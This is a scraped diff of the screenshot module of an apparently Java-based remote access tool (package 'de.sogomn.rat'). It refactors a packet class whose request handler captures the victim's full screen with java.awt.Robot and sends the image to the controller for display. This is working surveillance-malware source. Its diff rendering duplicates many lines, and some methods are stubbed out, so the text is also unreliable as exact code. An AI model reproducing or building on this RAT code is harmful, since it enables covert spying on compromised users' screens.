|
@ -16,15 +16,10 @@ import de.sogomn.engine.Screen; |
|
|
import de.sogomn.engine.Screen.ResizeBehavior; |
|
|
import de.sogomn.engine.Screen.ResizeBehavior; |
|
|
import de.sogomn.rat.ActiveClient; |
|
|
import de.sogomn.rat.ActiveClient; |
|
|
|
|
|
|
|
|
public final class ScreenshotPacket implements IPacket { |
|
|
|
|
|
|
|
|
public final class ScreenshotPacket extends AbstractPingPongPacket { |
|
|
|
|
|
|
|
|
private BufferedImage image; |
|
|
private BufferedImage image; |
|
|
|
|
|
|
|
|
private byte type; |
|
|
|
|
|
|
|
|
|
|
|
private static final byte REQUEST = 0; |
|
|
|
|
|
private static final byte DATA = 1; |
|
|
|
|
|
|
|
|
|
|
|
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); |
|
|
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); |
|
|
private static final int SCREEN_WIDTH = 500; |
|
|
private static final int SCREEN_WIDTH = 500; |
|
|
private static final int SCREEN_HEIGHT = 500; |
|
|
private static final int SCREEN_HEIGHT = 500; |
|
@ -42,13 +37,12 @@ public final class ScreenshotPacket implements IPacket { |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
@Override |
|
|
@Override |
|
|
public void send(final ActiveClient client) { |
|
|
|
|
|
client.writeByte(type); |
|
|
|
|
|
|
|
|
|
|
|
if (type == REQUEST) { |
|
|
|
|
|
return; |
|
|
|
|
|
|
|
|
protected void sendRequest(final ActiveClient client) { |
|
|
|
|
|
//... |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
@Override |
|
|
|
|
|
protected void sendData(final ActiveClient client) { |
|
|
final ByteArrayOutputStream out = new ByteArrayOutputStream(); |
|
|
final ByteArrayOutputStream out = new ByteArrayOutputStream(); |
|
|
|
|
|
|
|
|
try { |
|
|
try { |
|
@ -64,13 +58,12 @@ public final class ScreenshotPacket implements IPacket { |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
@Override |
|
|
@Override |
|
|
public void receive(final ActiveClient client) { |
|
|
|
|
|
type = client.readByte(); |
|
|
|
|
|
|
|
|
|
|
|
if (type == REQUEST) { |
|
|
|
|
|
return; |
|
|
|
|
|
|
|
|
protected void receiveRequest(final ActiveClient client) { |
|
|
|
|
|
//... |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
@Override |
|
|
|
|
|
protected void receiveData(final ActiveClient client) { |
|
|
final int length = client.readInt(); |
|
|
final int length = client.readInt(); |
|
|
final byte[] data = new byte[length]; |
|
|
final byte[] data = new byte[length]; |
|
|
|
|
|
|
|
@ -88,22 +81,26 @@ public final class ScreenshotPacket implements IPacket { |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
@Override |
|
|
@Override |
|
|
public void execute(final ActiveClient client) { |
|
|
|
|
|
if (type == REQUEST) { |
|
|
|
|
|
|
|
|
protected void executeRequest(final ActiveClient client) { |
|
|
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); |
|
|
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); |
|
|
final Rectangle screenRect = new Rectangle(screen); |
|
|
final Rectangle screenRect = new Rectangle(screen); |
|
|
|
|
|
|
|
|
try { |
|
|
try { |
|
|
final Robot robot = new Robot(); |
|
|
final Robot robot = new Robot(); |
|
|
|
|
|
|
|
|
image = robot.createScreenCapture(screenRect); |
|
|
|
|
|
type = DATA; |
|
|
type = DATA; |
|
|
|
|
|
image = robot.createScreenCapture(screenRect); |
|
|
} catch (final AWTException ex) { |
|
|
} catch (final AWTException ex) { |
|
|
|
|
|
image = NO_IMAGE; |
|
|
|
|
|
|
|
|
ex.printStackTrace(); |
|
|
ex.printStackTrace(); |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
client.addPacket(this); |
|
|
client.addPacket(this); |
|
|
} else if (type == DATA) { |
|
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
@Override |
|
|
|
|
|
protected void executeData(final ActiveClient client) { |
|
|
final int width = image.getWidth(); |
|
|
final int width = image.getWidth(); |
|
|
final int height = image.getHeight(); |
|
|
final int height = image.getHeight(); |
|
|
|
|
|
|
|
@ -117,6 +114,9 @@ public final class ScreenshotPacket implements IPacket { |
|
|
screen.show(); |
|
|
screen.show(); |
|
|
screen.redraw(); |
|
|
screen.redraw(); |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
public BufferedImage getImage() { |
|
|
|
|
|
return image; |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
} |
|
|
} |